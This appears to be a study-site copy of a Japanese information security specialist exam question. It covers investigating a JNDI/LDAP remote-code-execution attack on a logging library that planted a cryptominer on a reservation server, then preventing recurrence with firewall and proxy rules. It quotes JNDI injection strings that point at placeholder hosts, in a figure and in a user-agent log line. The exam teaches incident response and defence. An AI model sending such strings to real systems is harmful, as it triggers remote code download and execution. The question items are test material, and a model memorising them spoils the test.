科目B対策へ戻る

ログ出力ライブラリの脆弱性を悪用されたインシデントの調査と再発防止

IPA過去問令和4年度 秋期 午後Ⅰ 問2ログ出力ライブラリの脆弱性(JNDI/LDAP経由のリモートコード実行)で暗号資産採掘ソフトを実行された予約サーバについて,プロセス・アクセスログ・FWログから攻撃の流れを調べ,FWとプロキシのURLフィルタリングによる再発防止策を考える目安 40分

出典:令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問2(独立行政法人情報処理推進機構)。解答例は同試験の公開PDFによる

改変: 図表は書き起こしのため一部簡略化している(図1のネットワーク構成図は機器と接続の一覧で再現)

解答例は IPA が公表したものです。自分の解答を書いてから見ましょう。

U社は,従業員200名の食品製造業である。情報システム部がシステムを管理している。U社のネットワーク構成を図1に,サーバの機能概要を表1に示す。

図1 U社のネットワーク構成(抜粋)

U社のネットワーク(FW:ファイアウォール,L2SW:レイヤー2スイッチ)

  • インターネット -(接続)- FW
  • FW -(接続)- PC-LAN(点線枠):PC-LAN内は L2SW と複数台の PC で構成され,FW は PC-LAN の L2SW に接続される
  • FW -(接続)- DMZ(点線枠):DMZ内は L2SW に,予約サーバ,会員サーバ,プロキシサーバが接続される。FW は DMZ の L2SW に接続される

表1 サーバの機能概要(抜粋)

サーバ名機能概要
プロキシサーバ・インターネットへのHTTP通信及びHTTPS通信を中継するためのフォワードプロキシ<sup>1)</sup>である。
・URLフィルタリングソフトが組み込まれており,URLフィルタリングルールを用いて,URLごとにアクセスを許可又は拒否することができる。アクセス元のIPアドレス範囲ごとにそれぞれ別のURLフィルタリングルールを定義することができる。
・一つのURLフィルタリングルールは次の二つのリストから成り,上から順に適用される。
 -許可リスト
 -拒否リスト
・許可リストに“全て”を指定すると,全てのURLへの通信を許可する。拒否リストに“全て”を指定すると,許可リストに指定したURL以外のURLへの通信が拒否される。何も指定しない許可リストは,スキップされる。拒否リストも同様である。
・どのリストにも該当しないURLは,アクセスが許可される。
予約サーバ・U社の工場見学のオンライン予約を見学希望者が行うためのサーバである。Javaを利用したオンライン予約システムのパッケージであるB社のTソフトを使っている。
・見学希望者は,HTTPSでアクセスし,空いている日時を選択して見学希望者の情報を入力することによって予約ができる。工場見学の空き状況はU社のSNSアカウントを利用して,クラウドサービス上の複数のSNS投稿用のサーバに対してHTTPSで定期的に投稿される。
会員サーバ・U社の顧客向けに会員サイトを提供している。Javaを利用している。会員はHTTPSでアクセスする。会員サイトの利用には,利用者IDとパスワードによるログインが必要である。

注<sup>1)</sup> TLSの復号及び再暗号化ができ,HTTPS通信内容を参照することができる。

FWのフィルタリングルールを表2に示す。

表2 FWのフィルタリングルール

項番送信元宛先サービス動作
1インターネット予約サーバ,会員サーバHTTPS許可
2予約サーバインターネット全て許可
3PC-LANプロキシサーバ代替HTTP<sup>1)</sup>許可
4プロキシサーバインターネットHTTP,HTTPS許可
5プロキシサーバインターネットDNS許可
⋮⋮⋮⋮⋮
12全て全て全て拒否

注記1 FWは,ステートフルパケットインスペクション型である。 注記2 項番の小さいルールから順に,最初に一致したルールが適用される。 注記3 項番6~11にはDMZ内のサーバとインターネットとの間,及びPC-LANとインターネットとの間の通信に関するルールはない。 注<sup>1)</sup> 代替HTTPのポート番号は,8080である。

〔セキュリティインシデントの報告と調査〕

ある日,予約サーバでCPU使用率が高い状態が継続するという問題が発生した。情報システム部の予約サーバの担当者が調査したところ,普段予約サーバでは,BSoftMainとSBMainというTソフトのプロセスが稼働しているが,この日はrunという名称の見慣れないプロセス(以下,runプロセスという)も稼働していた。サーバ内で一定間隔で取得しているプロセスの一覧から,runプロセスが13:07:00からCPU使用率を上げていたことが判明した。

この結果を受け,情報システム部のD主任はセキュリティインシデントの疑いがあると判断し,上司に報告の上,予約サーバの調査を開始した。

13:07:00における予約サーバのプロセス一覧とコネクション一覧を表3と表4にそれぞれ示す。

表3 予約サーバのプロセス一覧(抜粋)

プロセスID親プロセスID開始時刻コマンドCPU使用率
100(省略)10:11:15java BSoftMain(省略)
11010013:00:00java SBMain(省略)
20010013:06:30run(省略)

表4 予約サーバのコネクション一覧(抜粋)

送信元宛先サービスプロセスID
予約サーバa1.b1.c1.d1HTTPS110
予約サーバa2.b2.c2.d2HTTPS110
予約サーバa3.b3.c3.d3HTTP200

注記 a1.b1.c1.d1~a3.b3.c3.d3はグローバルIPアドレスを表す。以下,aX.bX.cX.dX(Xには数字が入る)はグローバルIPアドレスを表す。

表3と表4からrunプロセスの外部への通信の有無を確認したところ,IPアドレスが【 a 】のホストに対して通信を行っていたことが確認できた。また,【 a 】を確認したところ,海外のIPアドレスであり,予約サーバの通信先として想定されているものではなかった。D主任は上司に報告し,予約サーバをネットワークから隔離した。

〔予約サーバの調査〕

D主任は,①表3の内容から,runプロセスが稼働している原因の追究にはTソフトを調べる必要があると判断した。B社に状況を説明し,不具合やセキュリティ上の問題がないか確認したところ,U社が利用しているバージョンには,脆弱性があることが分かった。

その脆弱性とは,Tソフトが利用しているライブラリXというオープンソースのライブラリに存在する,リモートから任意のコードが実行可能となる脆弱性(以下,脆弱性Yという)である。ライブラリXと脆弱性Yの説明を図2に示す。

図2 ライブラリXと脆弱性Yの説明

〔ライブラリXの概要〕 ライブラリXはJavaのログ出力ライブラリである。ライブラリXには外部オブジェクトを読み込む機能があり,標準で有効になっている。

〔脆弱性Yの概要〕 ライブラリXを使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合,攻撃者の用意したJavaクラスが実行される可能性がある。

〔脆弱性YにおいてLDAPを利用した攻撃の例〕

  1. 攻撃者が,攻撃文字列“${jndi:ldap://a4.b4.c4.d4/Exploit}”を含むHTTPリクエストを送る。攻撃対象のWebサーバにおいて,ライブラリXがログ出力処理をする文字列中に当該攻撃文字列が含まれると,ライブラリXはIPアドレスがa4.b4.c4.d4のサーバに対し,LDAPで“Exploit”というクエリを送る。
  2. 攻撃者の用意したIPアドレスがa4.b4.c4.d4のLDAPサーバは“Exploit”というクエリを受け,“http://a5.b5.c5.d5/JClass”を取得させるための情報を返す。
  1. ライブラリXはURLに従い,攻撃者の用意したWebサーバであるa5.b5.c5.d5のサーバにアクセスし,レスポンスに含まれるJavaクラスである“JClass”を実行する。
  2. JClassは,攻撃者の用意したURLである“http://a6.b6.c6.d6/malwarex”にリクエストを送り,レスポンスに含まれるファイルを“malwarex”というファイル名で保存し,実行する。

注記 “Exploit”,“JClass”,“malwarex”といった文字列やIPアドレスは攻撃ごとに異なる。

(図2 ライブラリXと脆弱性Yの説明(続き))

runプロセス起動前後の13:00:00から13:16:00までの,予約サーバのアクセスログを調査した結果,表5に示す,脆弱性Yを悪用したと考えられるアクセスログを発見した。

表5 脆弱性Yを悪用したと考えられるアクセスログ

時刻送信元リクエストユーザエージェント
13:04:32a7.b7.c7.d7GET /index.html${jndi:ldap://a8.b8.c8.d8/JExp}

D主任はrunプロセスがどのような経緯で起動したかを調査するために,FWの通信ログを確認した。runプロセス起動前後の13:00:00から13:16:00までのFWの通信ログのうち,予約サーバを送信元とするものを表6に示す。

表6 予約サーバを送信元とするFWの通信ログ

時刻送信元宛先サービス処理結果
13:02:15予約サーバa1.b1.c1.d1HTTPS許可
13:05:50予約サーバa8.b8.c8.d8LDAP許可
13:05:53予約サーバa8.b8.c8.d8HTTP許可
13:06:05予約サーバa9.b9.c9.d9HTTP許可
13:08:15予約サーバa2.b2.c2.d2HTTPS許可
13:12:15予約サーバa1.b1.c1.d1HTTPS許可
13:15:35予約サーバa3.b3.c3.d3HTTP許可

D主任はここまでの調査で分かった情報から,予約サーバへの攻撃の流れを表7のとおりまとめた。

表7 予約サーバへの攻撃の流れ

番号時刻内容
1【 b 】攻撃者が予約サーバに対して通信を行った。
2【 c 】予約サーバが,IPアドレスが【 d 】のホストの【 e 】サービスに【 f 】というクエリを送った。
3(省略)予約サーバが,2の通信の応答に含まれるURLに対してHTTP通信を行った。
4(省略)予約サーバで,3の通信のレスポンスに含まれるJavaクラスが実行され,攻撃者の用意したURLに対してHTTP通信が行われた。
513:06:30予約サーバで,4の通信のレスポンスに含まれるファイルが実行され,runプロセスが起動した。
6(省略)予約サーバで,runプロセスが攻撃者のサーバに通信を行った。

U社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士(登録セキスペ)であるE氏の協力を得てrunプロセスについての調査を進めた結果,暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて,予約情報への不正なアクセスは確認できなかった。

〔会員サーバの調査〕

次に,会員サーバにおいて,ライブラリXの利用の有無及び同様の攻撃の有無を確認したところ,会員サーバにおいてもライブラリXでログ出力処理を行っていること,及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが記録されていることが分かった。しかし,調査の結果,攻撃は失敗していたことが判明した。D主任は,攻撃が失敗したのは,攻撃者が会員サーバにログインするための利用者IDとパスワードを知らなかったからだと考えた。しかし,E氏は,②脆弱性Yは認証前のアクセスでも悪用できるので,そうではないと指摘した。予約サーバとは違って攻撃が失敗したのは,③別の理由だとD主任に説明した。

〔脆弱性への対応〕

D主任は上司に調査結果を報告した。その後,予約サーバは,OS及び必要なソフトウェアをクリーンインストールし,バックアップデータから復旧を行った。さらに,予約サーバと会員サーバについて,脆弱性Yに対する脆弱性修正プログラムを適用した。

〔再発防止策の検討〕

続けて,D主任は外部への不正通信が発生したことへの再発防止策を,E氏とともに検討した。再発防止策として,予約サーバからインターネットへの通信に関する設定を変更することにした。必要な設定変更内容は次のとおりである。

  • 予約サーバを起点とするインターネットへのHTTPS通信は,プロキシサーバを中継させる設定とする。
  • FWフィルタリングルールについて,表2の項番2を削除する。
  • URLフィルタリングルールについて,表8に示す内容で設定する。

表8 URLフィルタリングルールについての設定

アクセス元IPアドレス許可リスト拒否リスト
【 g 】のIPアドレス【 h 】【 i 】

検討した再発防止策は採用され,今回の対応を完了した。

設問1

本文中の【 a 】に入れる適切なIPアドレスを,表4中の宛先から選び,答えよ。

設問2(1)

本文中の下線①について,Tソフトを調べれば分かると判断した理由を,40字以内で具体的に答えよ。

0 / 40字

設問2(2)

表7中の【 b 】,【 c 】に入れる適切な時刻,表7中の【 d 】~【 f 】に入れる適切な字句を答えよ。

設問3(1)

本文中の下線②について,その理由を,40字以内で具体的に答えよ。

0 / 40字

設問3(2)

本文中の下線③について,攻撃が失敗した理由を,40字以内で具体的に答えよ。

0 / 40字

設問4

表8中の【 g 】~【 i 】に入れる適切な字句を答えよ。

自己採点: ◯ 0 / △ 0 / ✕ 0(全6設問)

書いた解答は、この端末のブラウザにだけ保存されます(同期されません)。

ログ出力ライブラリの脆弱性を悪用されたインシデントの調査と再発防止 | 行政書士AI学習